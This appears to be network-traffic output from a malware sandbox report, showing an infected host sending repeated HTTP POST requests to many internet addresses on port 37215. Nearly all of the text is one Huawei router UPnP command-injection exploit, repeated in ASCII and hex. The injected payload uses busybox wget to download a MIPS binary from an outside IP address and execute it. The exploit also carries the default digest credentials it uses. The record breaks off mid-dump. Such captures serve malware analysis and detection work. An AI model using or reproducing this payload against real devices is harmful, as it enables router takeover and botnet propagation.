Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	58940	197.41.35.27	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.405309916 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	59766	156.227.126.0	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.485388994 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	58916	197.66.173.200	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.486329079 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	34710	197.22.11.42	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.486975908 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	51292	41.130.219.75	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.393733978 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	49998	197.216.132.14	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.394539118 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	52870	156.230.149.174	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.395025015 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	35446	41.18.160.244	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.395522118 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	47096	41.60.115.8	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.396070957 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	43458	197.131.66.97	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.396614075 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	36714	197.21.36.108	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.397108078 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 